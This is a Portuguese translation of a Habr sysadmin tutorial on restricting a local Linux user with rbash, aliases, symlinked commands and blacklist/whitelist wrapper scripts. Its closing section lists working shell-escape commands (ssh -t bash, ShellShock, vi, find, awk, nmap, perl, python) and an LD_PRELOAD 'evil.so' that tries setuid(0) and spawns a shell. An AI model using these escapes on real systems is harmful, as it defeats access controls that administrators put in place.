Limitando os direitos de usuário local no Linux a um mínimo

Cat Um dia, apareceu a seguinte tarefa: criar um usuário local no Linux, com acesso limitado a pastas e arquivos, incluindo não apenas a edição, mas também a visualização, além da capacidade de usar apenas utilitários permitidos. Somente o acesso local é fornecido, não há acesso à rede.

Para não reinventar a roda, a primeira coisa que fiz foi começar a cavar na Internet e, como resultado, foram encontradas as seguintes opções:

  • restrições de acesso através dos serviços de rede ssh, sftp (não cabia)
  • diferenciação dos direitos de acesso pelo próprio sistema operacional linux (não se encaixava, eu gostaria de uma solução universal)
  • usando chroot (não coube)
  • o uso de utilitários de terceiros, por exemplo, SELinux (não se encaixa, complica o sistema).

Como resultado da pesquisa, foi encontrado um mecanismo interno para restringir os recursos do usuário no shell bash, chamado Shell Restrito ou rbash .

Ele implementa as seguintes restrições:

  • não há como alterar o diretório com o comando cd
  • Você não pode redefinir ou alterar os valores das variáveis ​​SHELL, PATH, ENV, BASH_ENV
  • é proibido especificar comandos contendo / (barra)
  • é proibido importar funções do shell principal
  • é proibido redirecionar a saída usando os operadores>, <, |, <>,> &, &>, >>
  • é proibido usar o comando exec para substituir o comando etc.

Há um sinal de menos, isso é segurança, por isso é imperativo adicionar alias aos comandos no arquivo de comportamento do shell .bashrc (as informações serão mais detalhadas).

Obviamente, o rbash está pronto para uso, pois não resolve todos os problemas; portanto, como exemplo, consideramos criar um usuário e configurar seu ambiente para uma solução completa para o nosso problema.

Além disso, todas as operações são executadas a partir do superusuário (raiz).

1. Crie um shell limitado

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. Crie um usuário

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. Altere as permissões do diretório

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. Vá para o diretório e limpe-o

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. Personalize o shell e os direitos

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

O arquivo .bashrc define o comportamento do shell; alias para comandos ou opções adicionais podem ser adicionadas a esse arquivo.

Para garantir a segurança, execute os seguintes comandos:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

A lista continua ...

6. Verifique o trabalho

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. Adicione comandos válidos

 ln -s /bin/ping /home/zuser/bin/ping 

Importante, os caminhos no comando ln devem ser totalmente especificados.

8. Você pode usar wrappers para limitar as opções do comando.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. Você também pode criar um wrapper para trabalhar com arquivos e pastas.
com uma lista negra (permita tudo, exceto):
- criar um arquivo

 nano /var/scripts/ls 

- conteúdo do arquivo

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

lista negra - uma variável que contém uma lista negra de diretórios ou arquivos (separados por espaços)
- comando add para o usuário zuser

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

Esse script permite executar o comando ls com qualquer chave para diretórios e arquivos que não correspondem à lista negra

com uma lista branca (proibir tudo, exceto):
- criar um arquivo

 nano /var/scripts/cat 

- conteúdo do arquivo

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

lista branca - uma variável que contém uma lista branca de diretórios ou arquivos (separados por espaço)
- comando add para o usuário zuser

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

Este script permite executar o comando cat com os arquivos especificados na lista branca.

Feito , finalmente obtivemos o seguinte resultado:

  • criamos um usuário zuser com shell rbash
  • desativou a capacidade de usar o preenchimento automático no console
  • O zuser pode executar apenas utilitários no diretório / home / zuser / bin
  • adicionou o comando ping ao zuser
  • adicionou o comando user-info ao usuário zuser
  • O zuser foi restringido através do wrapper para executar comandos ls e cat


Infelizmente, esse método não garante 100% de segurança e, com certos conhecimentos e qualificações, o usuário pode deixar esse shell. Graças a Jouretz arheops YaDr nos comentários, eles forneceram exemplos de contornar restrições de shell.

Existem as seguintes vulnerabilidades nesta solução (Shell Escape), que devem ser levadas em consideração:
CAMINHOCapacidade de alterar a variável PATH
Copiar arquivos por scpCapacidade de fazer upload de seu script
Ao conectar via ssh, você pode alterar o shell
 ssh zuser@xxxx -t "/bin/bash" 
Ao conectar via ssh, você pode alterar o arquivo de configuração do shell
 ssh zuser@xxxx -t "bash --noprofile" 
Ao conectar via ssh, você pode usar o ShellShock
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
Via utilitários vi, vim
 :!bash 
Via utilitários vi, vim
 :set shell=/bin/bash :shell 
Através dos serviços públicos, homem, mais, menos
 !bash 
Através do utilitário find
 find . -maxdepth 0 -execdir /bin/bash \; 
Via utilitário awk
 awk 'BEGIN {system("/bin/bash")}' 
Via utilitário nmap
 nmap --interactive 
Via utilitário nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
Através do perl
 perl -e 'exec "/bin/bash";' 
Via python
 python -c 'import pty; pty.spawn("/bin/bash")' 
Via ruby
 ruby: exec "/bin/bash" 
Via LD_PRELOADCrie o arquivo evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

Nós compilamos:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

Transferimos o arquivo evil.so resultante para a máquina com o console fechado e executamos:
 LD_PRELOAD=$PWD/evil.so ls 

Como argumento, qualquer comando disponível

Devido à presença de um número suficientemente grande de vulnerabilidades, esse método só pode ser usado para um usuário local em sistemas não críticos; para acessar através de uma rede via ssh, é melhor usar chroot ou outros utilitários para restringir os recursos do usuário.

Espero que esta informação seja útil.

Source: https://habr.com/ru/post/pt437710/


All Articles